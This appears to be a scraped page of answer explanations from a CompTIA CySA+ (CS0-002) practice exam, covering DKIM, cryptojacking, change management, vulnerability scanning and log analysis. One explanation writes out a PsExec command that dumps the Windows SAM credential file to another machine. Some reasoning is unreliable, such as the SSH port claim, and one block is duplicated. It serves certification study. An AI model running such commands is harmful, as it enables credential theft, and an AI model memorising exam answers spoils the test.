Free CompTIA CS0-002 Practice Exam with Questions & Answers

DKIM, or DomainKeys Identified Mail, is an email authentication method that uses a digital signature to let the receiver of an email know that the message was sent and authorized by the owner of a domain1 DKIM helps prevent phishing emails that spoof or impersonate other domains by verifying the identity and integrity of the sender. DKIM works by adding a DKIM signature header to each outgoing email message, which contains a hash value of selected parts of the message and the domain name of the sender. The sender’s domain also publishes a public key in its DNS records, which can be used by the receiver to decrypt the DKIM signature and compare it with its own hash value of the message. If they match, it means that the message was not altered in transit and that it came from the claimed domain.

 Cryptomining malware, or cryptojacking, is a type of malware that hides on a device and uses its computing resources to mine for valuable online currencies like Bitcoin. Cryptomining malware can cause performance issues, increased energy consumption, overheating, or hardware damage1 The analyst encountered cryptomining malware on the web server, as indicated by the following signs:

• The analyst was unable to log in remotely or on the console, as the malware blocked access to prevent detection or removal.
• The console messages showed that the server was running out of memory and CPU resources, as the malware consumed all available resources for mining.
• The network captures showed many packets with a signature of “Stratum”, which is a protocol used for communication between miners and mining pools2

The best step for the analyst to take next is to reboot the server and disable any cron jobs or startup scripts that start the mining software. This can help stop the mining activity and restore access to the server. The analyst should also scan the server for any other traces of malware and remove them.

An asset inventory is a list of all the hardware, software, data, and other resources that an organization owns or uses. An asset inventory helps to identify what systems are present in an organization, where they are located, what they do, and how they are configured2 Developing an asset inventory is the next step that should be completed to obtain information about the software company’s security posture, as it provides a baseline for further analysis and assessment of the systems’ vulnerabilities and risks.

A change management process is a set of procedures that ensures that any changes to a system or service are planned, tested, approved, implemented and documented in a controlled and consistent manner. A change management process can prevent an interruption of service caused by a Group Policy Object (GPO) by ensuring that the GPO is properly configured, tested and authorized before applying it to the servers. A change management process can also provide a way to roll back or undo the changes if they cause any problems.

A CI/CD pipeline is a method of delivering software applications that involves continuous integration (CI) and continuous delivery (CD). CI is the process of merging code changes from multiple developers into a shared repository and testing them automatically. CD is the process of deploying the code changes to different environments (such as testing, staging and production) and releasing them to customers. A CI/CD pipeline does not prevent an interruption of service caused by a GPO, but rather helps to deliver software applications faster and more reliably.

An impact analysis and reporting is a process of assessing the potential effects of a change on a system or service, such as performance, availability, security and compatibility. An impact analysis and reporting can help to identify and mitigate any risks or issues associated with a change. However, an impact analysis and reporting does not prevent an interruption of service caused by a GPO, but rather helps to evaluate and communicate the consequences of a change.

Appropriate network segmentation is a practice of dividing a network into smaller subnetworks or segments based on different criteria, such as function, location or security level. Appropriate network segmentation can improve the performance, security and manageability of a network by reducing congestion, isolating threats and controlling access. However, appropriate network segmentation does not prevent an interruption of service caused by a GPO, but rather helps to protect and optimize a network.

The output shows the result of using OWASP ZAP’s Spider tab after a vulnerability scan was completed. The Spider tab allows users to crawl web applications and discover pages and resources that can be assessed for vulnerabilities. The output shows that the scanner discovered various pages under different directories, such as /admin/, /blog/, /contact/, etc., as well as some parameters and forms that can be used for testing inputs and outputs. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 9; https://www.zaproxy.org/docs/desktop/start/features/spider/

The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user “administrator” tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username “administrator” and password “P@ssw0rd”, copy cmd.exe to the remote system, and execute it with the command “type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt”. This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

SSH stands for Secure Shell, which is a protocol that allows remote access and administration of a server. If the organization has a policy that services must run on standard ports and unneeded services must be disabled, then SSH should be disabled on both servers, because it runs on port 22, which is not a standard port for a web server or a database server, and it is not needed for those servers to function properly. Disabling HTTPS on 192.168.10.1, disabling IIS on 192.168.10.1, disabling DNS on 192.168.10.1, or disabling MSSQL on 192.168.10.2 are not appropriate actions, because they would affect the functionality of the web server or the database server and violate the organization’s policy of running services on standard ports. Reference: https://www.ssh.com/ssh/port

A vulnerability scan is a process of identifying and assessing known vulnerabilities in a system or network using automated tools or software1 A vulnerability scan can help improve the security posture of a vulnerability management program by detecting and prioritizing potential weaknesses that could be exploited by attackers. To increase the security posture of a vulnerability scan, the following actions can be taken:

• Expand the ports being scanned to include all ports: This means scanning all possible ports on a system or network, not just the well-known or commonly used ones. This can help discover more vulnerabilities that may be hidden or overlooked on less frequently used ports.
• Increase the scan interval to a number the business will accept without causing service interruption: This means scanning more frequently or regularly, but not so often that it causes performance issues or downtime for the system or network. This can help keep up with new vulnerabilities that may emerge over time and reduce the window of opportunity for attackers.
• Enable authentication and perform credentialed scans: This means using login credentials or SSH keys on an asset to get deeper access to its data, processes, configurations, and vulnerabilities2 This can help discover more vulnerabilities that cannot be seen from the network, such as insecure versions of software or poor security permissions.

A vulnerability scan is a process of identifying and assessing known vulnerabilities in a system or network using automated tools or software1 A vulnerability scan can help improve the security posture of a vulnerability management program by detecting and prioritizing potential weaknesses that could be exploited by attackers. To increase the security posture of a vulnerability scan, the following actions can be taken:

• Expand the ports being scanned to include all ports: This means scanning all possible ports on a system or network, not just the well-known or commonly used ones. This can help discover more vulnerabilities that may be hidden or overlooked on less frequently used ports.
• Increase the scan interval to a number the business will accept without causing service interruption: This means scanning more frequently or regularly, but not so often that it causes performance issues or downtime for the system or network. This can help keep up with new vulnerabilities that may emerge over time and reduce the window of opportunity for attackers.
• Enable authentication and perform credentialed scans: This means using login credentials or SSH keys on an asset to get deeper access to its data, processes, configurations, and vulnerabilities2 This can help discover more vulnerabilities that cannot be seen from the network, such as insecure versions of software or poor security permissions.